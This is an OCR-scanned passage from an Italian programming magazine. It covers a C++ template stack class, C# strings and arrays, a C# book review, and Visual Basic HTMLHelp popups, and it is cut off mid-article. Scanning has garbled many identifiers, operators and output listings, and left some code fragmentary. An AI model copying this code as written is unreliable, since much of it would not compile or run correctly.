l'esterno). La differenza rispetto al caso della composi-
zione è netta: nella composizione, infatti, Pila avrebbe
avuto un campo non pubblico di tipo Vettore, cui si sa-
rebbe potuto accedere solo attraverso i metodi di inter-
faccia della classe Vettore. Nella delegation, Pila è un
Vettore gestito mediante la politica LIFO (mediante le
funzioni di interfaccia PushQ e PopO). Scegliendo la de-
legation, una possibile implementazione per l'interfac-
cia della classe Pila potrebbe essere la seguente:
template <class T>
class Pila: private Vettore<T> {
public:
Pila(int);
void Push(T);
T PopQ;
int QuantiElementi();
int Dimensione();
private:
int top; //ci dice quanto e'
//pieno il vettore };
Come si vede, la parte public (cioè l'interfaccia) non è
cambiata rispetto alla versione vista nella puntata pre-
cedente: questa è certamente una buona cosa, in quan-
to non ci costringe a riscrivere altri codici che hanno fat-
to uso, nel frattempo, della nostra classe Pila.
Il codice che definisce i metodi della classe potrebbe ad
esempio essere il seguente:
//costruttore
template <class T>
Pila<T>::Pila(int n):Vettore<T>(n)
{ top = -1;}
template <class T>
void Pila<T>::Push(T
el){
if(top= = dimensione-
1) {
//non ci sono più' posizioni libere:
//dobbiamo ingrandire il vettore!
T* aux = new T[dimensione*2];
for(int i=0;i<=top;i+ + )
aux[i] = vett[i];
delete[] vett;
vett = aux;
dimensione = 2*dimensione; }
//siamo sicuri di avere spazio...
top+ + ;
vett[top] = el;}
template <class T>
T Pila<T>::Pop() {
if (top >= 0)
return vett[top--];
else
return T(); }
template <class T>
int Pila<T>::QuantiElementi()
{ return top+1;}
template <class T>
int Pila<T>::Dimensione()
{ return dimensione;}
Ai più attenti, non deve essere sfuggita una sottile dif-
ferenza tra la nuova classe Pila e quella vista la volta
scorsa: il distruttore non ha necessità di essere ridefini-
to (da notare che non è stato ridefinito, ma esiste sem-
pre). Il motivo è semplice: la classe Pila non ha parti di-
namiche, oltre quelle definite in Vettore, e quando un
oggetto Pila è distrutto, alla fine del processo di deallo-
cazione viene chiamato il distruttore della classe base
(ricordate quanto detto nella puntata scorsa?), che si oc-
cupa di deallocare tutti i membri relativi alla classe Vet-
tore, che sono gli unici in cui si ha memoria dinamica al-
locata. Come traccia di miglioramento, si può sollevare
un problema interessante per i lettori volenterosi. Sup-
poniamo di dichiarare una Pila di 10 elementi; appena
ci apprestiamo ad inserire l'undicesimo elemento, la
funzione Push raddoppia la dimensione della Pila por-
tandola a 20. Se ad esempio adesso iniziamo a svuotare
la Pila mediante una serie di Pop, essa rimane comun-
que di dimensione 20. Come si può ottimizzare la ge-
stione della memoria, al fine di evitare sprechi di spazio
dovuti ad eccesso di posizioni vuote?
CONCLUSIONI
Abbiamo analizzato molti aspetti relativi ad eredita-
rietà e template, ma questo non vuol dire che non ci sia
più nulla da scoprire. Da adesso in poi, i lettori dovran-
no iniziare ad esercitarsi su questi argomenti che, seb-
bene non molto complessi una volta capiti, hanno na-
scoste delle insidie che solo la pratica può imparare a
domare. Dalla prossima lezione vedremo come dotare i
nostri programmi di migliori funzionalità relativamen-
te ad input ed output. Buon lavoro!
Alfredo Marroccelli
Marco Del Gobbo
86>-**- M a
9 9
3
http:// www. itportal.it
•*-*-*-*<<<<<<-*Cors
B a s
Stringhe
E ARRAY, UN'ANALISI DETTAGLIATA
Le stringhe e gli array sono due categorie di oggetti sulle
quali, in precedenza, non ci siamo soffermati troppo.
Ora che i concetti più importanti della programmazione
orientata agli oggetti fanno parte del nostro bagaglio
culturale informatico, siamo finalmente pronti all'analisi
completa di questi importanti strumenti.
Dopo aver acquisito praticità con i concetti più
basilari della programmazione orientata agli
oggetti con C#, siamo in grado di fare un pic-
colo passo indietro, per esaminare strutture dati ed og-
getti che finora non avremmo avuto modo di com-
prendere a pieno.
STRINGHE
Oramai, sappiamo utilizzare le stringhe con totale di-
sinvoltura, almeno ad un livello elementare. Tuttavia,
ancora non abbiamo esaminato le loro caratteristiche
più vicine alla programmazione orientata agli oggetti.
Le stringhe, infatti, sono oggetti. Il tipo string di C#
corrisponde alla classe System.String del framework
di .NET. Naturalmente, questa classe espone un'inter-
faccia pubblica, che ci permette la manipolazione del-
le stringhe.
LA PROPRIETÀ' LENGTH
DELLE STRINGHE
La proprietà Lenght riporta il numero dei caratteri con-
tenuti in una stringa. Mostriamo immediatamente un
esempio:
class EsempioOl {
public static void Main() {
string si = "Carlo";
string s2 = "Gino";
string s3 = "Emanuele";
System. Console. Writel_ine(
"Il nome " + si + " contiene " +
sl.Length + " caratteri");
System. Console. Writel_ine(
"Il nome " + s2 + " contiene " +
s2.Length + " caratteri");
System. Console. Writel_ine(
"Il nome " + s3 + " contiene
s3.Length + " caratteri");
L'output è evidente:
Il nome Carlo contiene 5 caratteri
Il nome Gino contiene 4 caratteri
Il nome Emanuele contiene 8 caratteri
INDICIZZARE I CARATTERI
DI UNA STRINGA
Con le stringhe, ci avventuriamo per la prima volta nel
terreno degli indicizzatori, che successivamente tratte-
remo dettagliatamente. In sostanza, possiamo leggere,
uno ad uno, i caratteri che fanno parte di una stringa.
Ogni carattere ha un indice. Il primo carattere ha indi-
ce (zero), il secondo 1, il terzo 2 e così via, fino ad ar-
rivare all'ultimo carattere della stringa, che ha indice
Length - 1. Gli indicizzatori si usano mediante una cop-
pia di parentesi quadre, comportamento che ritrovere-
mo, tra poco, anche negli array. In pratica:
nomeStringa[n]
restituisce il carattere che nella stringa è alla posizione
n. Naturalmente, n dovrà spaziare tra e Length - 1,
estremi inclusi.
Analizziamo un esempio:
&
File sul CD
\soft\codice\csharpl4.zip
File sul Web
www.itportal.it/iop69
/ csharpl4.zip
http: //www. itport al.it
9 9
3 ►►► 87
System. Console. WriteLine(
"Carattere alla posizione " + i +
+ s[i]);
L'output è:
Carattere alla
Carattere alla
Carattere alla
Carattere alla
Carattere alla
Carattere alla
Carattere alla
Carattere alla
Carattere alla
Carattere alla
posizione 0: B
posizione 1: u
posizione 2: o
posizione 3: n
posizione 4: g
posizione 5: i
posizione 6: o
posizione 7: r
posizione 8: n
posizione 9: o
PRINCIPALI METODI
DI STRING
Passiamo ai metodi offerti da string. I principali sono
elencati di seguito:
int count)
public int LastIndexOf(char e)
public int LastIndexOf(char e, int start)
public int LastIndexOf(char e, int start,
int count)
Simili ai metodi della famiglia IndexOfO. In questo
caso, però, la ricerca è eseguita in direzione inver-
sa, da destra verso sinistra, a partire dall'ultimo ca-
rattere della stringa (o dalla posizione start, nei ca-
si che prevedono tale argomento).
• public string Remove(int start, int count)
Restituisce una nuova stringa, ottenuta da quella
di invocazione eliminando count caratteri a partire
dalla posizione start.
• public string Replace(string si, string s2)
Restituisce una nuova stringa, ottenuta dall'ogget-
to di invocazione sostituendo tutte le occorrenze di
si con s2.
• public string Replace(char ci, char c2)
Restituisce una nuova stringa, ottenuta dall'ogget-
to di invocazione sostituendo tutte le occorrenze di
ci con c2.
Dispense
Web
Bi:
I Tra le dispense
1 Web del corso
troverete appunti, ag-
giunte, approfondi-
menti, risposte a do-
mande frequenti e al-
tre appendici legate
alla lezione odierna.
L'indirizzo di riferi-
mento è
http : //www. sauron -
software.it
/dispenseweb/esharp/
• public bool EndsWith(string s)
Restituisce true se l'oggetto di invocazione termi-
na con la sottostringa s.
• public int IndexOf(string s)
Ricerca la sottostringa s all'interno dell'oggetto di
invocazione. Se s viene individuata, è restituita la
sua posizione. In caso contrario, viene restituito
valore -1.
• public int IndexOf(string s, int start)
Come il precedente, con l'unica differenza che la
ricerca comincia a partire dalla posizione start.
• public int IndexOf( string s, int start, int count)
Come i precedenti due. In questo caso, però, la ri-
cerca parte dalla posizione start e abbraccia sola-
mente count caratteri.
public bool StartsWith(string s)
Restituisce true se l'oggetto di invocazione inizia
con la sottostringa s.
public string Substring(int start)
Restituisce una sottostringa dell'oggetto di invoca-
zione, ottenuta considerando tutti i caratteri com-
presi dalla posizione start (inclusa) in poi.
public string Substring(int start, int length)
Restituisce una sottostringa dell'oggetto di invoca-
zione, ottenuta considerando length caratteri com-
presi dalla posizione start (inclusa) in poi.
public string ToLower()
Restituisce una nuova stringa, ottenuta converten-
do in minuscolo tutti i caratteri di quella di invo-
cazione.
public int IndexOf(char e)
public int IndexOf(char e, int start)
public int IndexOf(char e, int start, int count)
Come i precedenti tre, solo che ricercano un sin-
golo carattere (un char), anziché una sottostringa.
public string Insert(int start, string s)
Costruisce e restituisce una nuova stringa, ottenu-
ta aggiungendo s alla posizione start all'oggetto
di invocazione.
public int LastIndexOf( string s)
public int LastIndexOf( string s, int start)
public int LastIndexOf( string s, int start.
• public string ToUpper()
Restituisce una nuova stringa, ottenuta converten-
do in maiuscolo tutti i caratteri di quella di invo-
cazione.
• public string Trim()
Restituisce una nuova stringa, ottenuta dall'ogget-
to di invocazione eliminando tutti gli spazi all'ini-
zio e alla fine.
• public string TrimEnd()
Restituisce una nuova stringa, ottenuta dall'ogget-
to di invocazione eliminando tutti gli spazi alla fi-
ne.
88**> M a
9 9
3
http: //www. itportal.it
• public string TrimStart()
Restituisce una nuova stringa, ottenuta dall'og-
getto di invocazione eliminando tutti gli spazi al-
l'inizio.
Consideriamo un unico esempio riassuntivo:
System. Console. WriteLine("s2.TrimStart(): (
" + s2.TrimStart() + ")");
}
L'output prodotto sarà:
s: Buongiorno
s.StartsWith("Buon "):
True
s.EndsWith(" giorno "):
True
s.EndsWith("notte"):
False
s.IndexOf( "giorno "):
4
s.IndexOfC'sera"):
-1
s.IndexOf('o'):
2
s.IndexOf('o',3):
6
s.LastIndexOf('o'):
9
s.Replace( "giorno ", "mattino "):
Buonmattino
s.Remove(4, 5):
Buono
s.Insert(4, "issimo"):
Buonissimogiorno
s.Snbstring(2, 4):
ongi
s.ToLowerQ:
buongiorno
s.TolIpper():
BUONGIORNO
s2; (Buongiorno)
s2.Trim(): (Buongiorno)
s2. TrimEndO: (Buongiorno)
s2.TrimStart(): (Buongiorno)
STRING SOVRACCARICA
GLI OPERATORI
La classe al di dietro di string esegue il sovraccarico di
alcuni operatori. In particolare, possiamo concatenare
due stringhe servendoci degli operatori + e +=, come
già sappiamo fare, e possiamo eseguire confronti con
class Esempio04 {
public static voìd Main()
{ string si = "casa";
System. Console. Write("Scrivi '" + si + '": ");
string s2 = System. Console. ReadLineQ;
if (si == s2) System. Console. Writel_ine("Bravo!");
else System. Console. WriteLine("Sbagl iato!");
_J
}
Array
Un array e un
gruppo di varia-
bili del medesimo tipo,
cui ci si riferisce con un
nome comune ed un
indice numerico.
http: //www. itport al.it
g g
3 ►►► 89
ARRAY
Un array è un gruppo di variabili del medesimo tipo,
cui ci si riferisce con un nome comune ed un indice nu-
merico. A differenza di C e C++, in cui gli array sono
spazi di memoria allocati in aree adiacenti, gli array di
C# sono in tutto e per tutto degli oggetti. Un array mo-
nodimensionale può essere creato osservando il se-
guente modello:
Questa forma è spesso usata quando si è alle prese con
un array di ridotte dimensioni. Gli array, inoltre, di-
spongono di una particolare proprietà, ossia l'intero
Length, che riporta la loro dimensione:
string[] giorniDellaSettimana = new string[7];
System. Console. WriteLine(giorni Del laSettimana. Length);
// Stampa "7"
Dimensione
Array
ai:
La dimensione di
un array può es-
sere determinata sta-
ticamente, mediante
una costante di qual-
siasi tipo, oppure dina-
micamente, servendo-
si di un valore intero
noto solo al momento
dell'esecuzione
NomeTipo[] nomeArray = new NomeTipo[dimensione];
Ad esempio:
string[] giorniDellaSettimana = new string[7];
Questo codice genera un array monodimensionale, co-
stituito da sette elementi di tipo string. La dimensione
di un array può essere determinata staticamente, me-
diante una costante di qualsiasi tipo, oppure dinami-
camente, servendosi di un valore intero noto solo al
momento dell'esecuzione:
// Dimensionamento statico
int[] arri = new int[2];
// Dimensionamento dinamico
// Supponiamo che n sia una variabile di tipo numerico intero
int[] arr2 = new int[n];
Una volta dichiarato ed inizializzato un array, è possi-
bile accedere ai diversi elementi che ne fanno parte
servendosi di un indice e di una coppia di parentesi
quadre, proprio come per i caratteri delle stringhe. Il
primo elemento di un array di dimensione n ha indice
0, mentre l'ultimo ha indice n - 1.
Consideriamo il seguente esempio:
class Esempio05 {
public static void Main() {
string[] giorniDellaSettimana = new string[7];
giorniDellaSettimana[0] =
"Lunedì";
giorniDellaSettimana[l] =
"Martedì";
giorniDellaSettimana[2] =
"Mercoledì";
giorniDellaSettimana[3] =
"Giovedì";
giorniDellaSettimana[4] =
"Venerdì";
giorniDellaSettimana[5] =
"Sabato";
giorniDellaSettimana[6] =
"Domenica";
for (int i = 0; i < 7; i++)
System. Console. WriteLine(giorniDel laSettimana [i]);
}
}
Questo codice imposta e recupera gli elementi di un
array di dimensione 7. Gli array possono avvantag-
giarsi di una forma breve, per l'inizializzazione in li-
nea degli elementi che lo costituiscono:
string[] giorniDellaSettimana = {
"Lunedì", "Martedì", "Mercoledì", "Giovedì",
"Venerdì", "Sabato", "Domenica"};
Un ciclo for ideato allo scopo di scorrere gli elementi di
un array, pertanto, può essere facilmente scritto al se-
guente modo:
for (int i = 0; i < nomeArray.Length; i++) {
// Operazioni su nomeArray[i] }
In lingua italiana, gli array monodimensionali vengo-
no chiamati vettori. C#, ad ogni modo, supporta anche
il concetto di array multidimensionale o matrice:
int[,] matrice = new int[2, 3];
matrice[0, 0] = 2
matrice[0, 1] = 4
matrice[0, 2] = 7
matrice[l, 0] =
matrice[l, 1] = 5
matrice[l, 2] = 3
Questo codice genera una matrice di dimensione 2x3,
costituita pertanto da sei elementi. La Fig. I fornisce
una rappresentazione grafica della struttura. In un ca-
so come questo, Length conteggia il numero di tutti gli
elementi che fanno parte dell'array, cioè 6. Il seguente
codice riproduce sulla linea dei comandi l'ultima figu-
ra mostrata:
colonna
colonna
1
colonna
2
riga
2
4
7
riga
1
5
3
int[,] matrice = new int [2, 3]
matrice [0, 0] = 2;
matrice [0, 1] =4
matrice [0, 2] = 7
matrice [1, 0] =
matrice [1, 1] =5
matrice [1, 2] = 3
Fig. 1: Una matrice bidimensionale di sei elementi,
con le istruzioni C# necessarie per la sua
creazione.
class Esempio06 {
public static void Main() {
int[,] matrice = new int[2, 3];
matrice[0, 0] = 2;
matrice[0, 1] = 4;
matrice[0, 2] = 7;
matrice[l, 0] = 0;
matrice[l, 1] = 5;
90**> M a
g g
3
http: //www. itportal.it
Creare matrici a tre o più dimensioni è altrettanto sem-
plice:
char[,,] treDimensioni = new char[4, 2, 4];
string[,„] quattroDimensioni = new string[2, 3, 2, 4];
Ogni ragionamento svolto in merito alle matrici bidi-
mensionali può essere facilmente esteso e adattato ai
nuovi casi introdotti. Infine, è possibile creare array di
array, come dimostra il seguente esempio:
class Esempio07 {
public static void Main() {
int[][] matrice = new int[2][];
matrice[0] = new int[3];
matrice[0][0] = 2;
matrice[0][l] = 4;
matrice[0][2] = 7;
matrice[l] = new int[3];
matrice[l][0] = 0;
matrice[l][l] = 5;
matrice[l][2] = 3;
for (int i = 0; i < matrice. Length; i+ + ) {
for (int j = 0; j < matrice[i]. Length; ]++) {
System. Console. Write(matrice[i][j] + " "); }
System. Console. WrìteLine(); }
_J
}
IL CICLO FOREACH
Il ciclo foreach permette di scorrere velocemente gli ele-
menti facenti parte di un vettore o, in senso più lato, di
una collezione. Esaminiamo il seguente esempio basa-
to su un array di interi:
class Esempio08 {
public static void Main() {
int[] arr = {1, 9, 3};
foreach (int n in arr) {
System. Console. WriteLine("Valore corrente: " + n);}
_J
}
In pratica, il ciclo
foreach (int n in arr) {
System. Console. Writel_ine("Valore corrente:
' + n);}
equivale a:
for (int i = 0; i < arr.Length; i+ + ) {
CONCLUSIONI
La padronanza acquisita nel settore della programma-
zione orientata agli oggetti ci permette, ora, di appren-
dere in maniera completa e spedita tutte le caratteristi-
che di C# che in un primo momento abbiamo trala-
sciato. Le lezioni immediatamente successive, pertan-
to, continueranno lungo questo tragitto, prima di pas-
sare all'analisi di aspetti più avanzati.
Carlo Pelliccia
Dissecting a C# Application
Inside SharpDevelop
SharpDevelop è un progetto Open Source, rilascia-
to con licenza GPL, per creare un ambiente di svi-
luppo alternativo a Visual Studio.NET e completa-
mente gratuito (Fig.l)
l,,li.iJI.IJ.I]..U.U..imail.l.U'iJI.I.Hj]ll.l.lJII..U.IIllll!MIHB«JMHiaBa! ^]n|xj
SharpDevelop è stato interamente scritto in lin-
guaggio C# adottando tecniche di programmazione
particolarissime. Grazie al testo Dissecting a C# Ap-
plication - Inside SharpDevelop, il lettore avrà mo-
do di avere a portata di mano un valido strumento
di commento al codice sorgente di SharpDevelop.
Gli autori del libro, i medesimi che hanno progetta-
to e realizzato SharpDevelop, analizzano le tecniche
impiegate nella progettazione, mostrando il codice
che si nasconde dietro ad ogni singolo aspetto del-
l'IDE, dal parser del codice, all'implementazione
dell'ambiente RAD di sviluppo, alla compilazione fi-
nale del progetto.
Si tratta di un'ottima guida che oltre a mostrare
passo passo come avviene la progettazione e lo svi-
luppo di un ambiente integrato, mostra tecniche
utili per creare applicazioni modulari, manipolare e
customizzare l'interfaccia utente, costruire control-
li riutilizzabili.
Dissecting A C#
Application
ln*k!# SharpCtovalop
Difficoltà: Alta
Autori: C.Holm, M.Kruger,
B.Spuida
Editore: Wrox
http://www.gorilla.it
ISBN: 1-861008-17-1
Anno di pubblicazione: 2003
Lingua: Inglese
Pagine: 500
Prezzo: $ 59.99
Bibliografia
• GUIDA A C#
Herbert Schildt
(McGraw-Hill)
ISBN 88-386-4264-8
2002
• INTRODUZIONE A C#
Eric Gunnerson
(Mondadori
Informatica)
ISBN 88-8331-185-X
2001
• C# GUIDA PER LO
SVILUPPATORE
Simon Robinson e altri
(Hoepli)
ISBN 88-203-2962-X
2001
http: //www. itport al.it
3 ►►► 91
Corsi Avanzati ► ► ► ► ► ► ► ► ► ►
Caratteristiche
Visual AVANZATE DI UNA GUIDA IN LINEA
Basic
In questo appuntamento descriveremo le caratteristiche
che rendono una guida in linea accattivante e funzionale.
File Sul CD
\soft\codice\
vbavanzato.zip
File sul Webl&H
www.itportal.it/iop69
/vbavanzato.zip
ShowWhatsThis
Per visualizzare
la guida in linea
sensibile al contesto di
un oggetto, da un me-
nu a tendina o Popup
si può usare il metodo
ShowWhatsThis. Que-
sto metodo attiva l'e-
lemento della guida
che in precedenza è
stato associato all'og-
getto attraverso What-
sThisHelpID.
Nel precedente appuntamento abbiamo de-
scritto come implementare una guida in linea
e come agganciarla ad un progetto Visual Ba-
sic. Inoltre, abbiamo introdotto alcune funzioni per ge-
stire questi elementi. Funzioni che non ripetiamo, ma
che potete trovare nel CD allegato alla rivista. Questi
concetti li abbiamo esemplificati attraverso un'applica-
zione che permette di gestire i dati anagrafici dei di-
pendenti di un'azienda. L'applicazione è composta da
una form, con una SStab, e da un modulo BAS di sup-
porto. Abbiamo concluso il precedente articolo con
l'introduzioni al successivo appuntamento. Quindi in
questo numero amplieremo le nostre conoscenze sulle
guide in linea, illustrando i seguenti argomenti:
1. i Popup, cioè i messaggi corti agganciati ai singoli
oggetti dell'interfaccia (per capirci elementi simili
ai ToolTipText);
2. come agganciare la guida ad un'applicazione Vi-
sual Basic for Applications (VBA);
3. come usare gli Office Assistant;
4. alcuni elementi dell' API e di Visual Basic.
E necessario disporre del progetto Visual Basic e del
progetto HTMLHelp visti nel precedente articolo, per
modificarli.
IL FILE DEI POPUPS
I Popups, in un progetto HTMLHelp, sono predisposti
attraverso un file di testo (.txt). Questo file, definito at-
traverso il Blocco note, deve contenere i Popups rispet-
tando la seguente sintassi:
.topic "numero"
"testo del messaggio"
Possono definire i seguenti Popups.
• .topic 20000 - Specifica il nome del dipendente
• .topic 20010 - Inserisci la foto del dipendente
• .topic 20020 - Specifica il reparto del dipendente
II testo va inserito in un file di nome Popups.txt e sal-
vato nella stessa directory del progetto HTMLHelp.
Dopo bisogna associare il file al progetto Esempio.hhp;
questo si può fare attraverso la scheda Text Popups del-
la finestra HtlmHelp API information dell'HTML Work-
shop. La maschera viene utilizzata anche per definire
le informazioni di contesto: Map e Alias (visti nell'arti-
colo precedente). Dopo queste operazioni, naturalmen-
te, bisogna compilare il progetto. Ancora, però, il ruolo
del file Popups.txt non è finito. Infatti, il suo nome ver-
rà utilizzato quando si aggancia il file ehm (cioè il file
dell'Help compilato) al progetto Visual Basic. La sin-
tassi da rispettare in questo caso è la seguente:
nomefile.chm: :/popups.txt
Quindi alla VarHelp (variabile che contiene il path del
file ehm) dovrà essere assegnato il seguente valore:
VarHelp = App. Patti & "\htmlhelp\esempio.chm::
/popups.txt"
Questa assegnazione, però, non deve trarre in inganno
infatti, il file popups.txt non deve essere distribuito in-
sieme all'Help dato che è incluso nel file compilato.
LE MODIFICHE AL
PROGETTO VISUAL BASIC
Ora descriviamo cosa bisogna predisporre, nel proget-
to Visual Basic, per gestire i messaggi Popups. Faccia-
mo notare che i messaggi Popups sono stati previsti so-
lo per alcuni elementi dell'interfaccia: nome dipenden-
te, foto, reparto (come s'intuisce dal file Popups.txt). Do-
9 i *l ; "';j
'
Piiraa T Seconda T Teriià
fumetto
':£■*"" ~-r ■■■:■■= :■* ::~ ,- :="!5 ||
Ai^Lr'L'
Cognome |
_!
Fig. 1: La form del progetto VB e la UserForm del
progetto VBA
92*-*-* M
g g
http ://www.itport al.it
pò aver impostato le proprietà della form in modo che
sulla barra del titolo compaia il punto interrogativo
(WhatsThisButton =True, BorderStyle =3 - Fixed Dialog,
MaxBntton= False, MinButton= False) nella Form_Load
bisogna predisporre le seguenti istruzioni.
VarHelp = App.Path & "\htmlhelp\esempio.chm::/popups.txt"
Me.Txtnome.WhatsThisHelpID = 20000
Me.Picturel.WhatsThisHelpID = 20010
Me.Txtreparto.WhatsThisHelpID = 20020
A questo punto, i Popups sono utilizzabili; basta sele-
zionare il punto interrogativo della barra del titolo e
poi premere, per esempio, su Txtnome. Con queste im-
postazioni, però, noterete che non possiamo più usare
l'Help di contesto dell'SStab definito nel precedente ar-
ticolo.
Come possiamo risolvere questo problema?
Con il supporto delle funzioni deìl'HtlmHelp API!
HTLMHELP API
Gli elementi dell' API da utilizzare per tale scopo sono:
mHtmlHelpBijRefArg, il tipo HHJDPAIR, e la costante
HH_TP_HELP_WM_HELP. Il tipo HHJDPAIR rac-
chiude due long che possono contenere gli ID dei con-
trolli (dwControlId) sensibili al contesto e dei Popups
(divTopield).
Type HH_IDPAIR
dwControlId As Long
dwTopidd As Long
End Type
HHJDPAIR lo utilizziamo per definire un array di 4
elementi: i 3 Popups più un elemento nullo che indica
la fine dell'array. Allora nel modulo Bas dobbiamo in-
serire anche la seguente istruzione:
Public Ident(4) As HHJDPAIR
Quando valorizziamo l'Array, dwTopicId lo possiamo
ricavare per esempio con ActiveControl.HelpContextlD,
mentre dwControlId si deve ricavare attraverso la fun-
zione GetDlgCtrllD, cioè
Declare Function GetDlgCtrllD Lib "user32" _
(ByVal hwnd As Long) As Long
Questa riceve come parametro l'kwnd di un controllo
(ActiveControl.Hwnd) e restituisce l'ID dello stesso.
Ora introduciamo gli altri elementi dell' API e cioè
Public Const HH_TP_HELP_WM_HELP = &H11
Questa costante informa la funzione HtmlHelpByRe-
fArg che deve caricare alcuni text pop-up help. La fun-
zione che carica i messaggi Popup è:
Declare Function HtmIHelpByRefArg Lib "hhctrl.ocx"
Alias "HtmIHelpA" (ByVal hwndCaller As Long,
ByVal pszFile As String, ByVal uCommand As Long,
ByRef dwData As Any) As Long
I parametri della funzione sono:
• hwndCaller. serve a specificare l'hwnd della finestra
che richiama l'Help;
• pszFile, serve a specificare il path del file di help,
• uCommand: specifica il comando da eseguire, nel
nostro caso mostrare i Popup;
• dwData: è un dato che dipende dal valore di uCom-
mand nel nostro caso è di tipo HHJDPAIR.
Nel modulo BAS definiamo la procedura hhhelpPO-
PUP che utilizzeremo per richiamare HtmIHelpByRef-
Arg:
IL CODICE PER LA FORM
Ora possiamo introdurre il codice d'aggiungere nella
Formi, iniziamo dalla Form Load.
Private Sub Form_Load()
VarHelp = App.Path &
"\htmlhelp\eserr
pio. ehm'
"::/popL
+
ps.txt"
Ident(O). dwControlId =
= GetDlgCtrlID(Me
.Txtnome
.hwnd)
Ident(0).dwTopicId =
20000
Ident(l). dwControlId =
= GetDlgCtrlID(Me.Picturel
hwnd)
Ident(l).dwTopicId =
20010
Ident(2). dwControlId =
GetDlgCtrlID(Me.
rxtreparto.hwnd)
Ident(2).dwTopicId =
20020
Ident(3). dwControlId
=
Ident(3).dwTopicId =
End Sub
Dopo aver visto la prima istruzione, analiziamo le suc-
cessive, che servono ad impostare i valori nell'Array
Ident. Notate che consideriamo solo tre elementi della
form e che i dwTopidd sono impostati come definiti nel
file Popups.txt, mentre Ident(3) viene impostato con ze-
ro. Ora vediamo come attivare i Popups. A tal fine, nei
metodi MouseUp degli oggetti dell'interfaccia, dobbia-
mo inserire la seguente riga di codice:
hhhelpPOPUP Object.hwnd, VarHelp , Ident(indice)
Ad esempio:
Private Sub Txtnome_MouseUp(Button As Integer, _
Shift As Integer, X As Single, Y As Single)
Visual
Basic
WhatsThisMode
Le Form hanno il
metodo WhatsThi-
sMode che serve per
predisporre l'applicazio
ne nel modo guida rapi-
da, cioè sull'applicazio-
ne ha lo stesso effetto
di quando si clicca il
punto interrogativo nel-
la barra del titolo.
http ://www.itport al.it
g g
003 ►►► 93
Visuc
Basi
Popup Menu
Ó
In Windows, i
Menu Popup sono
creati con Edit Menu
attivabili sulle Form e
sulle MDIForm con il
tasto destro del Mou-
se. Se definite un me-
nu (con la radice non
visibile) di nome mnu-
file, inserite il seguen-
te codice nella Form_
MouseUp, il gioco è
fatto.
If Button = 2 Then
PopupMenu mnuFile
End If
hhhelpPOPUP Picturel.hwnd,
VarHelp ,
Ident(l)
End Sub
Private Sub Txtreparto_MouseUp(Button As Integer, _
Shift As Integer, X As Single,
Y As Sing
e)
hhhelpPOPUP Txtnome.hwnd
, VarHelp,
ident(2)
End Sub
Questo codice attiva il Popup quando si clicca sul text-
box, anche se non si clicca sul punto interrogativo (nel-
la barra del titolo della form). Questa tecnica crea qual-
che inconveniente! Per risolvere questo ulteriore pro-
blema, dovremmo ricorrere alla tecnica del SubClas-
sing, cosa che in questo appuntamento non possiamo
fare. Allora ricorriamo ad un metodo alternativo più
semplice: invece di attivare i Popup con il punto inter-
rogativo, li attiviamo solo con il tasto FI. Quindi nei
Keyilp degli oggetti prevediamo il codice seguente:
Private Sub Txtnome_KeyUp(KeyCode As Integer, Shift
As Integer)
If KeyCode = vbKeyFl Then
hhhelpPOPUP Txtnome.hwnd, VarHelp +
": :/popups.txt", ident(O)
End If
End Sub
Private Sub Txtreparto_KeyUp(KeyCode As Integer,
Shift As Integer)
If KeyCode = vbKeyFl Then
hhhelpPOPUP Txtnome.hwnd, VarHelp +
": :/popups.txt", ident(2)
End If
End Sub
Dobbiamo modificare anche la VarHelp della Form_
Load. Dobbiamo eliminare ::(popups.txt, così anche la
SSTab avrà il suo Help contestuale! In conclusione se
premiamo fi e il Focus è sulla SStab, viene mostrato
l'help con la pagina corrispondente alla scheda della
SStab, mentre se il focus è su un textbox, verrà mostra-
to il messaggio Popup ad esso associato.
L'HELP PER
LE APPLICAZIONI OFFICE
I concetti descritti per la guida in linea delle applica-
zioni Visual Basic, naturalmente, sono in buona parte
validi anche per le applicazioni Visual Basic for Appli-
cations, cioè per le applicazioni create con Office XP.
Per esempio, se in un documento Word apriamo l'am-
biente VBA, al progetto associato al documento, pos-
siamo collegare il file HTMLHelp creato con l'HTML
Workshop. Se poi nel progetto inseriamo una UserForm
un modulo di supporto, possiamo fare degli esempi si-
mili a quelli fatti con Visual Basic. Anche in questo ca-
so, nel modulo di supporto, dobbiamo inserire la defi-
nizione delle funzioni utilizzate in Visual Basic per ri-
chiamare l'Help, cioè: HTMLHelp, hhhelp, e la costante
HH_HELP_CONTEXT (definizioni che trovate nel pro-
getto Visual Basic). Invece per avviare la UserForm,
possiamo definiamo una procedura (che inserita nel
modulo è visibile come Macro) come la seguente.
Public Sub Avvio()
UserForml.Show
End Sub
Per impostare la variabile con il path dell'Help possia-
mo usare la seguente espressione:
Private Sub UserForm_Activate()
Varhelp = ActiveDocument.Path +"\htmlhelp\esempio.chm"
End Sub
Ora descriviamo come richiamare i topics delle guida:
a tal fine inseriamo due pulsanti sulla UserForm che
denominiamo: Assistente e Fumetto. Per associare un
Topic al pulsante Assistente inseriamo il seguente codi-
ce nella Assistante_ KeyUp:
Private Sub Assistante_KeyUp(...)
If KeyCode = vbKeyFl Then
Dim hwnd As Long
hhhelp hwnd, varhelp, 2
N'argomento è quello della seconda pagina, 2
End If
End Sub
Così, se si preme il pulsante FI quando il focus è sul
pulsante Assistente, viene mostrato il Topic PaginaSe-
conda dell' HtmlHelp Esempio.chm.
L'ASSISTENTE DI OFFICE
Come è noto, gli assistenti di Office sono dei personag-
gi animati agganciati alla guida in linea, che si attivano
in base alle richieste dell'utente. Le opzioni principali
degli assistenti possono essere gestiti attraverso la ma-
schera Assistenti di Office presente negli applicativi di
Office Xp. Inoltre, possono essere creati e programma-
ti attraverso i tools messi a disposizione dalla Micro-
soft. In particolare, con il tool Microsoft Agent Character
Editor è possibile creare ed animare gli assistenti (Cha-
racters). Il tool permette di importare immagini, defini-
re dei movimenti e dei suoni, ecc. Invece, per pro-
grammare l'interazione degli assistenti con la guida in
linea (prodotta da voi), è possibile utilizzare i tools di
Office XP Developer o di Microsoft Office XP Resource
Kit. Noi, con gli strumenti messi a disposizione da Of-
fice Xp, descriveremo come, attraverso gli Assistenti di
Office, sia possibile mostrare particolari messaggi. In-
nanzitutto descriviamo sommariamente il modello ad
oggetti degli assistenti. Gli oggetti fondamentali sono:
Assistant (cioè gli oggetti animati) e Balloon (cioè i fu-
metti). Il Balloon rappresenta il fumetto nel quale l'As-
sistente di Office visualizza le informazioni. Un fumet-
to può contenere controlli come caselle ed etichette.
Un Assistente è caratterizzato da un nome (proprietà
name), da un'animazione (Animation), da un file .acs (fi-
